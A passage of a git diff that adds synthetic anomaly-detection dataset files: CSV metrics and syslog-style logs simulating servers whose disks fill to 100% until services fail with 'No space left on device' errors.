/tmp/import_batch.tmp: No space left on device +Jul 03 14:06:40 server-1 kernel: audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/var/log/app/data.log" pid=10064 comm="ntpd" +Jul 03 14:06:40 server-1 systemd-journald[10065]: Failed to write entry, ignoring: No space left on device +Jul 03 14:06:45 server-1 data-importer[10067]: ERROR: Failed to write record to temporary file /tmp/import_batch.tmp: No space left on device +Jul 03 14:06:50 server-1 data-importer[10068]: ERROR: Failed to write record to temporary file /tmp/import_batch.tmp: No space left on device +Jul 03 14:06:55 server-1 mysql-backup.sh[10070]: Failed to create database dump. I/O error occurred: No space left on device +Jul 03 14:07:00 server-1 mysql-backup.sh[10072]: Failed to create database dump. I/O error occurred: No space left on device +Jul 03 14:07:05 server-1 app-server[10073]: CRITICAL: Could not write session file. Halting process. Error: No space left on device +Jul 03 14:07:10 server-1 data-importer[10074]: ERROR: Failed to write record to temporary file /tmp/import_batch.tmp: No space left on device +Jul 03 14:07:15 server-1 mysql-backup.sh[10075]: Failed to create database dump. I/O error occurred: No space left on device +Jul 03 14:07:20 server-1 kernel: pid=10076, comm=java, writing to /var/lib/data/huge.db: No space left on device +Jul 03 14:07:25 server-1 systemd[1]: Failed to start User Login Management. diff --git a/anom_dataset/scenario_3/anom_3_3.csv b/anom_dataset/scenario_3/anom_3_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..94c314dfb1528a5b69d45c36eceb2cc5656fa3c3 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,net_in,net_out,disk_io +2025-07-04T08:00:00Z,15.16,25.8,2.42,0.89,30.35 +2025-07-04T08:00:05Z,15.71,31.07,1.91,1.3,30.03 +2025-07-04T08:00:10Z,10.28,31.31,1.66,1.4,30.79 +2025-07-04T08:00:15Z,11.72,28.78,1.68,1.26,30.19 +2025-07-04T08:00:20Z,16.85,25.13,1.72,1.17,31.36 +2025-07-04T08:00:25Z,18.34,33.42,1.5,1.33,31.55 +2025-07-04T08:00:30Z,13.07,28.85,1.73,0.56,31.78 +2025-07-04T08:00:35Z,18.94,30.52,2.43,1.28,31.07 +2025-07-04T08:00:40Z,17.22,32.11,2.24,0.57,32.16 +2025-07-04T08:00:45Z,11.9,31.75,2.42,0.63,32.11 +2025-07-04T08:00:50Z,15.54,31.95,2.1,1.23,32.16 +2025-07-04T08:00:55Z,13.52,28.42,1.95,0.75,32.22 +2025-07-04T08:01:00Z,11.82,29.12,1.81,1.05,33.02 +2025-07-04T08:01:05Z,17.86,27.4,1.88,0.51,32.41 +2025-07-04T08:01:10Z,19.65,34.69,2.14,0.57,33.4 +2025-07-04T08:01:15Z,12.32,27.89,2.31,0.64,33.03 +2025-07-04T08:01:20Z,10.84,26.47,1.63,0.84,33.5 +2025-07-04T08:01:25Z,16.04,26.29,2.23,1.08,33.73 +2025-07-04T08:01:30Z,17.29,34.44,1.51,0.71,34.28 +2025-07-04T08:01:35Z,12.76,28.51,2.15,1.42,33.66 +2025-07-04T08:01:40Z,16.85,32.34,1.95,0.76,34.74 +2025-07-04T08:01:45Z,15.18,34.14,1.7,1.19,34.17 +2025-07-04T08:01:50Z,10.48,32.01,2.13,1.26,35.15 +2025-07-04T08:01:55Z,11.38,28.89,1.52,1.5,35.41 +2025-07-04T08:02:00Z,11.87,34.42,2.34,1.29,35.49 +2025-07-04T08:02:05Z,19.94,32.36,2.03,0.86,34.97 +2025-07-04T08:02:10Z,15.21,27.38,1.87,0.83,35.51 +2025-07-04T08:02:15Z,15.79,33.24,1.93,1.24,36.0 +2025-07-04T08:02:20Z,17.35,32.61,1.77,0.82,35.72 +2025-07-04T08:02:25Z,15.42,28.95,1.95,0.88,36.63 +2025-07-04T08:02:30Z,19.13,27.0,2.48,1.19,36.02 +2025-07-04T08:02:35Z,18.08,32.13,2.25,0.9,36.93 +2025-07-04T08:02:40Z,14.03,33.45,2.02,0.62,37.02 +2025-07-04T08:02:45Z,13.57,28.69,1.96,1.07,36.89 +2025-07-04T08:02:50Z,19.53,29.37,1.57,0.68,37.51 +2025-07-04T08:02:55Z,13.44,28.57,2.12,0.97,37.97 +2025-07-04T08:03:00Z,18.65,27.4,2.22,1.44,38.04 +2025-07-04T08:03:05Z,18.3,31.53,1.95,0.94,38.19 +2025-07-04T08:03:10Z,15.38,28.9,2.18,1.13,38.44 +2025-07-04T08:03:15Z,19.22,31.58,2.23,0.79,38.44 +2025-07-04T08:03:20Z,10.97,28.62,1.65,1.11,38.59 +2025-07-04T08:03:25Z,11.03,28.57,2.11,1.19,38.52 +2025-07-04T08:03:30Z,17.02,26.95,2.36,1.32,38.66 +2025-07-04T08:03:35Z,18.9,34.87,1.51,0.81,39.29 +2025-07-04T08:03:40Z,11.6,25.23,2.3,0.78,39.69 +2025-07-04T08:03:45Z,12.76,30.48,2.45,0.8,39.61 +2025-07-04T08:03:50Z,16.72,30.61,1.61,0.95,40.05 +2025-07-04T08:03:55Z,11.64,25.75,1.95,1.09,40.41 +2025-07-04T08:04:00Z,17.01,33.92,1.94,1.38,39.97 +2025-07-04T08:04:05Z,14.88,26.11,2.12,1.5,40.8 +2025-07-04T08:04:10Z,16.81,31.26,1.87,0.87,41.21 +2025-07-04T08:04:15Z,15.22,26.01,1.9,0.6,41.36 +2025-07-04T08:04:20Z,10.43,32.11,1.81,1.32,40.87 +2025-07-04T08:04:25Z,12.24,33.81,2.09,1.02,41.39 +2025-07-04T08:04:30Z,15.75,31.95,1.68,1.23,41.74 +2025-07-04T08:04:35Z,11.2,27.66,2.47,1.14,41.86 +2025-07-04T08:04:40Z,15.0,34.1,2.38,1.15,41.86 +2025-07-04T08:04:45Z,11.38,30.8,1.62,1.39,42.79 +2025-07-04T08:04:50Z,10.53,28.6,2.19,1.03,43.05 +2025-07-04T08:04:55Z,11.78,33.53,2.4,0.7,42.42 +2025-07-04T08:05:00Z,14.42,27.46,2.1,0.62,42.77 +2025-07-04T08:05:05Z,18.78,32.8,1.99,1.47,42.76 +2025-07-04T08:05:10Z,19.49,25.46,2.29,0.73,43.49 +2025-07-04T08:05:15Z,14.78,33.85,1.68,0.73,44.0 +2025-07-04T08:05:20Z,14.61,27.76,1.84,1.16,43.8 +2025-07-04T08:05:25Z,16.37,30.81,1.76,0.98,43.92 +2025-07-04T08:05:30Z,13.25,34.11,1.73,1.21,44.28 +2025-07-04T08:05:35Z,11.18,34.93,2.26,1.21,44.51 +2025-07-04T08:05:40Z,10.51,25.62,2.44,1.0,45.24 +2025-07-04T08:05:45Z,16.38,34.28,1.98,0.63,44.52 +2025-07-04T08:05:50Z,18.12,30.17,1.53,1.39,45.76 +2025-07-04T08:05:55Z,16.7,34.45,2.09,0.71,51.39 +2025-07-04T08:06:00Z,16.52,30.47,1.84,0.93,57.81 +2025-07-04T08:06:05Z,14.25,27.64,2.0,1.41,63.95 +2025-07-04T08:06:10Z,16.57,31.47,1.52,1.44,69.89 +2025-07-04T08:06:15Z,12.09,29.63,1.81,1.08,75.86 +2025-07-04T08:06:20Z,16.6,31.31,2.36,1.36,81.2 +2025-07-04T08:06:25Z,15.3,30.11,1.91,1.18,87.25 +2025-07-04T08:06:30Z,17.49,27.22,2.08,0.98,93.44 +2025-07-04T08:06:35Z,10.94,32.34,2.19,0.94,99.25 +2025-07-04T08:06:40Z,17.85,33.0,2.36,0.62,99.84 +2025-07-04T08:06:45Z,16.87,33.77,2.33,0.94,100.0 +2025-07-04T08:06:50Z,16.95,28.03,2.27,0.93,100.0 +2025-07-04T08:06:55Z,14.97,31.09,1.79,0.97,99.56 +2025-07-04T08:07:00Z,19.75,25.85,1.81,0.8,100.0 +2025-07-04T08:07:05Z,12.04,28.19,2.33,1.39,99.84 +2025-07-04T08:07:10Z,12.99,33.15,2.07,0.51,99.82 +2025-07-04T08:07:15Z,12.28,33.72,1.75,0.6,100.0 +2025-07-04T08:07:20Z,10.48,33.91,1.51,1.17,99.84 +2025-07-04T08:07:25Z,19.04,31.9,1.83,0.91,100.0 diff --git a/anom_dataset/scenario_3/anom_3_3.log b/anom_dataset/scenario_3/anom_3_3.log new file mode 100644 index 0000000000000000000000000000000000000000..f5d8266a38e3816da8f0a9095e9c1e63c75131ce --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_3.log @@ -0,0 +1,77 @@ +Jul 04 08:00:05 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 04 08:00:10 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 04 08:00:15 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 04 08:00:20 systemd[1]: Finished Daily apt download activities. +Jul 04 08:00:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:00:30 systemd[1]: Finished Daily apt download activities. +Jul 04 08:00:35 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 04 08:00:55 systemd[1]: Started Session 85 of user root. +Jul 04 08:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:01:05 systemd[1]: Finished Daily apt download activities. +Jul 04 08:01:10 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 04 08:01:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:01:20 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 04 08:01:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:01:30 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 04 08:01:35 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 04 08:01:40 systemd[1]: Started Session 41 of user root. +Jul 04 08:01:45 systemd[1]: Finished Daily apt download activities. +Jul 04 08:01:50 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 04 08:01:55 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:02:05 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 04 08:02:10 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 04 08:02:15 sshd[24822]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 04 08:02:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:02:25 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 04 08:02:35 systemd[1]: Finished Daily apt download activities. +Jul 04 08:02:40 systemd[1]: Finished Daily apt download activities. +Jul 04 08:02:45 systemd[1]: Finished Daily apt download activities. +Jul 04 08:02:50 systemd[1]: Started Session 3 of user root. +Jul 04 08:02:55 systemd[1]: Started Session 6 of user root. +Jul 04 08:03:00 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 04 08:03:10 systemd[1]: Finished Daily apt download activities. +Jul 04 08:03:15 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 04 08:03:20 systemd[1]: Started Session 45 of user root. +Jul 04 08:03:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:03:35 systemd[1]: Finished Daily apt download activities. +Jul 04 08:03:40 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 04 08:03:45 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:03:50 sshd[8425]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 04 08:04:00 sshd[6716]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 04 08:04:10 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 04 08:04:15 systemd[1]: Started Session 11 of user root. +Jul 04 08:04:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:04:35 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:04:40 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 04 08:04:45 systemd[1]: Started Session 69 of user root. +Jul 04 08:04:50 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 04 08:05:00 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 04 08:05:05 systemd[1]: Finished Daily apt download activities. +Jul 04 08:05:10 systemd[1]: Finished Daily apt download activities. +Jul 04 08:05:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 04 08:05:20 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 04 08:05:25 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 04 08:05:30 systemd[1]: Started Session 17 of user root. +Jul 04 08:05:35 systemd[1]: Finished Daily apt download activities. +Jul 04 08:05:40 systemd[1]: Finished Daily apt download activities. +Jul 04 08:05:45 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 04 08:05:55 data-importer[13927]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 04 08:06:00 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 04 08:06:05 postgres[20132]: WARNING: could not write to temporary file. This may indicate a disk space problem. +Jul 04 08:06:10 data-importer[7501]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 04 08:06:15 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 04 08:06:20 app-server[11103]: WARN: Temporary file cache size reaching limit. +Jul 04 08:06:25 data-importer[4458]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 04 08:06:30 data-importer[10257]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 04 08:06:35 app-server[4714]: ERROR: java.io.IOException: No space left on device +Jul 04 08:06:40 nginx[19615]: [crit] 28253#0: *227563 open() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 04 08:06:45 systemd[1]: Failed to start Application Service. +Jul 04 08:06:50 app-server[20508]: ERROR: java.io.IOException: No space left on device +Jul 04 08:06:55 nginx[1123]: GET /healthz HTTP/1.1 503 Service Unavailable +Jul 04 08:07:00 postgres[9516]: PANIC: could not write to WAL segment: No space left on device +Jul 04 08:07:05 systemd[1]: Failed to start Application Service. +Jul 04 08:07:10 postgres[16951]: PANIC: could not write to WAL segment: No space left on device +Jul 04 08:07:15 app-server[19648]: ERROR: java.io.IOException: No space left on device +Jul 04 08:07:20 kernel: [ 1751616440.000000 ]blk_update_request: I/O error, dev sda, sector 621263 +Jul 04 08:07:25 nginx[19365]: [crit] 28253#0: *227563 open() "/var/log/nginx/access.log" failed (28: No space left on device) diff --git a/anom_dataset/scenario_3/anom_3_30.csv b/anom_dataset/scenario_3/anom_3_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..4daeabff4842424660761a1147d2130a12886aa8 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,net_in,net_out,disk_io +2025-07-03T14:00:00Z,16.36,45.01,0.59,1.17,18.88 +2025-07-03T14:00:05Z,13.71,38.33,0.49,1.24,25.38 +2025-07-03T14:00:10Z,15.73,44.55,0.73,1.18,28.55 +2025-07-03T14:00:15Z,14.56,36.86,0.63,1.07,21.09 +2025-07-03T14:00:20Z,20.54,36.22,0.72,1.5,25.86 +2025-07-03T14:00:25Z,13.66,38.3,0.98,2.17,29.06 +2025-07-03T14:00:30Z,15.36,38.89,0.78,1.81,23.3 +2025-07-03T14:00:35Z,12.29,41.63,1.11,1.37,27.02 +2025-07-03T14:00:40Z,15.13,37.41,0.78,1.15,28.3 +2025-07-03T14:00:45Z,15.15,40.56,0.77,1.54,11.76 +2025-07-03T14:00:50Z,12.75,39.55,0.73,1.6,26.7 +2025-07-03T14:00:55Z,16.45,37.7,0.33,1.15,17.72 +2025-07-03T14:01:00Z,18.9,38.5,0.71,1.7,24.09 +2025-07-03T14:01:05Z,16.02,41.76,0.7,1.82,33.96 +2025-07-03T14:01:10Z,17.02,41.08,0.86,1.43,29.73 +2025-07-03T14:01:15Z,15.05,39.45,0.94,1.39,22.68 +2025-07-03T14:01:20Z,16.02,43.66,0.81,1.2,27.45 +2025-07-03T14:01:25Z,14.49,44.26,0.85,0.74,24.57 +2025-07-03T14:01:30Z,13.58,34.03,0.84,1.14,23.28 +2025-07-03T14:01:35Z,14.89,46.75,1.18,0.97,25.77 +2025-07-03T14:01:40Z,17.09,41.19,0.84,1.5,24.31 +2025-07-03T14:01:45Z,12.69,43.16,0.69,0.77,25.11 +2025-07-03T14:01:50Z,13.44,40.67,0.91,0.97,28.85 +2025-07-03T14:01:55Z,15.96,40.5,0.85,1.18,27.9 +2025-07-03T14:02:00Z,12.87,39.45,1.06,1.48,26.55 +2025-07-03T14:02:05Z,16.86,37.96,0.65,1.16,26.13 +2025-07-03T14:02:10Z,13.4,40.84,1.16,1.75,18.78 +2025-07-03T14:02:15Z,15.56,43.12,1.06,1.24,29.43 +2025-07-03T14:02:20Z,14.82,44.73,0.76,1.37,22.9 +2025-07-03T14:02:25Z,15.62,38.42,0.91,1.26,28.25 +2025-07-03T14:02:30Z,14.84,37.88,0.63,1.19,23.3 +2025-07-03T14:02:35Z,14.16,36.14,0.91,1.04,31.27 +2025-07-03T14:02:40Z,16.77,40.99,0.8,1.29,29.85 +2025-07-03T14:02:45Z,14.72,36.08,0.96,1.01,33.9 +2025-07-03T14:02:50Z,10.37,34.94,0.01,1.69,38.31 +2025-07-03T14:02:55Z,10.54,43.14,0.8,1.62,40.43 +2025-07-03T14:03:00Z,16.46,48.2,0.75,1.13,37.87 +2025-07-03T14:03:05Z,16.55,40.72,0.66,0.71,43.34 +2025-07-03T14:03:10Z,15.12,40.27,0.93,1.6,44.91 +2025-07-03T14:03:15Z,18.13,39.16,0.89,1.58,48.17 +2025-07-03T14:03:20Z,19.06,37.68,0.51,1.27,48.29 +2025-07-03T14:03:25Z,12.77,37.9,1.07,1.17,49.08 +2025-07-03T14:03:30Z,15.53,33.15,0.52,1.29,49.02 +2025-07-03T14:03:35Z,12.73,41.92,0.87,0.94,45.86 +2025-07-03T14:03:40Z,15.66,38.98,1.11,1.6,43.38 +2025-07-03T14:03:45Z,17.1,36.73,0.94,1.35,50.93 +2025-07-03T14:03:50Z,17.25,40.26,0.84,1.57,49.39 +2025-07-03T14:03:55Z,16.64,38.19,1.17,1.33,50.39 +2025-07-03T14:04:00Z,12.0,43.31,0.91,1.43,54.21 +2025-07-03T14:04:05Z,16.32,42.1,0.49,1.13,51.19 +2025-07-03T14:04:10Z,13.32,41.92,0.73,0.97,52.73 +2025-07-03T14:04:15Z,18.27,36.43,0.79,1.33,56.31 +2025-07-03T14:04:20Z,15.9,43.66,0.55,1.1,57.25 +2025-07-03T14:04:25Z,15.16,40.19,0.27,0.91,59.41 +2025-07-03T14:04:30Z,14.34,40.61,0.69,1.05,66.3 +2025-07-03T14:04:35Z,10.59,42.21,0.64,1.26,62.86 +2025-07-03T14:04:40Z,12.77,39.45,0.69,1.62,69.39 +2025-07-03T14:04:45Z,16.62,39.32,0.66,1.38,66.29 +2025-07-03T14:04:50Z,15.03,41.05,0.61,1.52,72.91 +2025-07-03T14:04:55Z,14.27,40.5,0.84,1.17,63.49 +2025-07-03T14:05:00Z,15.93,37.73,0.97,0.55,69.72 +2025-07-03T14:05:05Z,17.05,44.89,0.61,1.36,73.65 +2025-07-03T14:05:10Z,16.77,38.64,0.77,1.39,69.81 +2025-07-03T14:05:15Z,14.43,35.26,0.45,1.02,72.13 +2025-07-03T14:05:20Z,12.06,40.04,1.13,1.5,70.14 +2025-07-03T14:05:25Z,18.98,35.25,0.81,1.54,70.93 +2025-07-03T14:05:30Z,18.16,38.84,0.68,1.74,73.88 +2025-07-03T14:05:35Z,16.22,36.12,0.78,1.32,77.37 +2025-07-03T14:05:40Z,15.74,39.4,0.71,1.41,77.59 +2025-07-03T14:05:45Z,17.82,47.8,1.11,1.05,82.08 +2025-07-03T14:05:50Z,12.21,35.97,0.84,1.04,79.39 +2025-07-03T14:05:55Z,18.74,40.05,0.7,1.13,82.75 +2025-07-03T14:06:00Z,13.88,39.43,0.32,1.59,83.55 +2025-07-03T14:06:05Z,15.54,37.67,0.63,1.15,85.79 +2025-07-03T14:06:10Z,15.37,35.97,0.68,1.39,86.8 +2025-07-03T14:06:15Z,15.08,36.96,0.35,0.98,88.13 +2025-07-03T14:06:20Z,17.2,36.78,0.59,1.33,91.99 +2025-07-03T14:06:25Z,16.09,39.19,0.98,1.33,92.23 +2025-07-03T14:06:30Z,17.97,37.01,0.94,1.17,95.96 +2025-07-03T14:06:35Z,13.4,42.46,0.99,1.31,98.19 +2025-07-03T14:06:40Z,16.89,41.28,0.75,1.12,100.0 +2025-07-03T14:06:45Z,14.76,40.46,0.67,0.73,100.0 +2025-07-03T14:06:50Z,13.51,42.52,1.19,0.8,100.0 +2025-07-03T14:06:55Z,11.83,39.87,0.77,1.27,100.0 +2025-07-03T14:07:00Z,12.85,42.52,0.53,1.3,100.0 +2025-07-03T14:07:05Z,11.46,36.3,0.7,1.79,100.0 +2025-07-03T14:07:10Z,15.52,41.05,0.46,1.38,100.0 +2025-07-03T14:07:15Z,14.08,37.59,0.62,1.45,100.0 +2025-07-03T14:07:20Z,12.02,39.58,0.49,1.39,100.0 +2025-07-03T14:07:25Z,16.36,39.01,0.37,1.2,100.0 diff --git a/anom_dataset/scenario_3/anom_3_30.log b/anom_dataset/scenario_3/anom_3_30.log new file mode 100644 index 0000000000000000000000000000000000000000..2b8ea010d0ada2a45537d66b7c8a7318da5a49c3 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_30.log @@ -0,0 +1,26 @@ +Jul 03 14:00:00 kubelet[2890]: INFO routine sync completed for pod web-app +Jul 03 14:00:10 sshd[10501]: Accepted publickey for user admin from 10.0.1.5 port 60123 ssh2 +Jul 03 14:00:25 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:00:50 kubelet[2890]: INFO routine sync completed for pod web-app +Jul 03 14:01:40 kubelet[2890]: INFO routine sync completed for pod web-app +Jul 03 14:02:30 kubelet[2890]: INFO routine sync completed for pod web-app +Jul 03 14:02:40 data-processor[5150]: INFO Starting batch job ID 8A9C. Reading from queue. +Jul 03 14:03:20 kubelet[2890]: INFO routine sync completed for pod web-app +Jul 03 14:03:45 data-processor[5150]: INFO Processing large dataset. Writing temporary files to /var/tmp... +Jul 03 14:04:10 kubelet[2890]: INFO routine sync completed for pod web-app +Jul 03 14:05:00 kubelet[2890]: INFO routine sync completed for pod web-app +Jul 03 14:05:25 data-processor[5150]: WARN Disk usage for /var is at 78%. Continuing operation. +Jul 03 14:05:50 kubelet[2890]: INFO routine sync completed for pod web-app +Jul 03 14:06:15 data-processor[5150]: INFO Finalizing batch job 8A9C. Compressing and writing final archive to /var/data/archive-20250703.tar.gz +Jul 03 14:06:40 kubelet[2890]: INFO routine sync completed for pod web-app +Jul 03 14:06:45 postgres[3010]: ERROR write error: No space left on device +Jul 03 14:06:50 nginx[1123]: ERROR write error: No space left on device +Jul 03 14:06:55 systemd-journald[450]: ERROR write error: No space left on device +Jul 03 14:07:00 postgres[3010]: ERROR write error: No space left on device +Jul 03 14:07:05 data-processor[5150]: CRITICAL Failed to complete batch job 8A9C. Halting process. +Jul 03 14:07:05 postgres[3010]: ERROR write error: No space left on device +Jul 03 14:07:10 systemd-journald[450]: ERROR write error: No space left on device +Jul 03 14:07:15 nginx[1123]: ERROR write error: No space left on device +Jul 03 14:07:20 kubelet[2890]: ERROR Failed to create pod sandbox: rpc error: code = Unknown desc = failed to create CRI sandbox: failed to create directory for container "/var/lib/containerd/io.containerd.grpc.v1.cri/sandboxes/...": mkdir /var/lib/containerd: no space left on device +Jul 03 14:07:20 postgres[3010]: ERROR write error: No space left on device +Jul 03 14:07:25 data-processor[5150]: ERROR write error: No space left on device diff --git a/anom_dataset/scenario_3/anom_3_4.csv b/anom_dataset/scenario_3/anom_3_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..38fd1273cdaea3ce894cc916ecd5f8e8fd9f8054 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,net_in,net_out,disk_io +2025-07-07T09:15:00Z,36.48,54.71,1.5,1.75,20.62 +2025-07-07T09:15:05Z,39.97,46.48,0.78,1.17,28.55 +2025-07-07T09:15:10Z,35.19,54.54,1.07,1.71,34.59 +2025-07-07T09:15:15Z,36.58,53.54,1.34,1.23,37.73 +2025-07-07T09:15:20Z,35.99,54.63,0.61,1.32,36.64 +2025-07-07T09:15:25Z,37.53,48.59,1.1,1.5,33.05 +2025-07-07T09:15:30Z,31.36,47.23,0.97,1.33,27.34 +2025-07-07T09:15:35Z,30.04,54.88,0.87,1.48,19.44 +2025-07-07T09:15:40Z,31.5,49.6,1.44,1.6,19.91 +2025-07-07T09:15:45Z,36.98,54.95,0.51,1.26,20.05 +2025-07-07T09:15:50Z,35.93,53.84,0.8,1.3,20.76 +2025-07-07T09:15:55Z,39.0,49.7,1.14,1.65,19.77 +2025-07-07T09:16:00Z,34.44,51.27,1.3,1.31,26.22 +2025-07-07T09:16:05Z,33.17,50.23,0.61,1.33,34.62 +2025-07-07T09:16:10Z,39.23,48.59,0.8,1.74,42.05 +2025-07-07T09:16:15Z,34.66,52.9,1.28,0.87,46.65 +2025-07-07T09:16:20Z,37.98,54.24,1.48,1.74,48.44 +2025-07-07T09:16:25Z,31.99,53.99,0.67,1.45,46.36 +2025-07-07T09:16:30Z,38.15,51.39,1.39,0.97,40.55 +2025-07-07T09:16:35Z,31.43,50.81,1.07,1.58,33.6 +2025-07-07T09:16:40Z,36.83,47.2,1.04,0.93,27.95 +2025-07-07T09:16:45Z,30.57,51.52,1.41,1.11,24.42 +2025-07-07T09:16:50Z,37.84,50.99,1.43,1.39,22.54 +2025-07-07T09:16:55Z,37.37,51.96,1.4,0.86,25.27 +2025-07-07T09:17:00Z,37.7,46.71,0.92,1.37,31.92 +2025-07-07T09:17:05Z,31.87,49.35,0.97,1.74,39.38 +2025-07-07T09:17:10Z,30.5,54.5,0.75,1.47,46.37 +2025-07-07T09:17:15Z,38.9,47.66,1.17,0.92,53.62 +2025-07-07T09:17:20Z,31.74,49.92,0.6,0.88,56.27 +2025-07-07T09:17:25Z,37.73,49.87,1.09,1.15,57.13 +2025-07-07T09:17:30Z,32.83,54.22,1.26,1.13,54.64 +2025-07-07T09:17:35Z,36.56,53.75,1.09,0.94,48.47 +2025-07-07T09:17:40Z,39.89,48.09,0.54,0.82,40.91 +2025-07-07T09:17:45Z,32.74,52.33,1.4,0.8,36.41 +2025-07-07T09:17:50Z,34.18,51.77,1.37,0.87,33.09 +2025-07-07T09:17:55Z,37.75,54.47,0.82,1.69,33.35 +2025-07-07T09:18:00Z,32.57,50.71,1.24,1.57,38.18 +2025-07-07T09:18:05Z,30.54,52.75,0.95,0.94,44.43 +2025-07-07T09:18:10Z,38.65,48.65,0.72,1.62,52.73 +2025-07-07T09:18:15Z,32.57,51.67,0.78,1.1,59.29 +2025-07-07T09:18:20Z,34.02,47.93,0.6,0.93,65.61 +2025-07-07T09:18:25Z,33.08,53.15,1.02,1.58,66.86 +2025-07-07T09:18:30Z,39.72,53.14,1.4,1.43,66.1 +2025-07-07T09:18:35Z,35.76,50.09,1.41,1.77,61.39 +2025-07-07T09:18:40Z,32.69,53.53,0.62,1.25,55.51 +2025-07-07T09:18:45Z,38.72,47.34,1.25,1.06,49.6 +2025-07-07T09:18:50Z,30.78,49.96,0.94,1.67,43.92 +2025-07-07T09:18:55Z,37.68,52.38,0.71,1.67,42.0 +2025-07-07T09:19:00Z,36.42,46.56,1.41,0.85,45.2 +2025-07-07T09:19:05Z,31.94,51.75,0.87,1.75,50.12 +2025-07-07T09:19:10Z,37.45,52.95,1.11,0.85,57.51 +2025-07-07T09:19:15Z,39.56,47.14,0.69,1.07,66.1 +2025-07-07T09:19:20Z,37.52,50.14,0.74,1.23,73.48 +2025-07-07T09:19:25Z,36.7,51.91,1.0,1.7,76.47 +2025-07-07T09:19:30Z,35.94,54.01,0.57,0.95,78.07 +2025-07-07T09:19:35Z,31.9,52.13,0.59,1.31,75.25 +2025-07-07T09:19:40Z,34.27,47.1,0.8,1.43,68.5 +2025-07-07T09:19:45Z,38.12,45.9,0.95,1.54,63.14 +2025-07-07T09:19:50Z,37.59,53.22,0.99,1.43,56.7 +2025-07-07T09:19:55Z,37.1,50.54,1.14,1.53,52.63 +2025-07-07T09:20:00Z,31.03,51.58,0.59,1.49,52.89 +2025-07-07T09:20:05Z,38.35,48.54,0.57,1.7,56.41 +2025-07-07T09:20:10Z,34.98,48.53,1.32,1.15,63.61 +2025-07-07T09:20:15Z,35.43,52.75,0.73,1.34,72.32 +2025-07-07T09:20:20Z,34.96,45.88,0.52,1.09,79.81 +2025-07-07T09:20:25Z,34.65,48.92,0.61,1.3,84.36 +2025-07-07T09:20:30Z,30.94,52.83,0.94,1.74,88.04 +2025-07-07T09:20:35Z,38.73,51.42,1.48,0.84,87.18 +2025-07-07T09:20:40Z,31.7,46.42,1.49,1.58,81.7 +2025-07-07T09:20:45Z,33.51,45.7,0.76,0.83,75.16 +2025-07-07T09:20:50Z,31.92,48.73,0.56,1.23,69.2 +2025-07-07T09:20:55Z,35.27,48.16,0.59,0.86,64.64 +2025-07-07T09:21:00Z,39.06,51.18,1.35,1.53,63.42 +2025-07-07T09:21:05Z,32.77,53.54,1.02,0.93,64.53 +2025-07-07T09:21:10Z,37.26,52.05,1.23,1.71,68.95 +2025-07-07T09:21:15Z,37.78,53.9,1.01,0.81,77.48 +2025-07-07T09:21:20Z,30.12,46.96,0.75,1.65,85.84 +2025-07-07T09:21:25Z,38.47,53.16,0.8,1.42,91.64 +2025-07-07T09:21:30Z,37.11,48.92,0.9,1.27,97.18 +2025-07-07T09:21:35Z,36.79,46.28,0.73,0.89,98.57 +2025-07-07T09:21:40Z,32.26,47.3,0.56,1.52,95.87 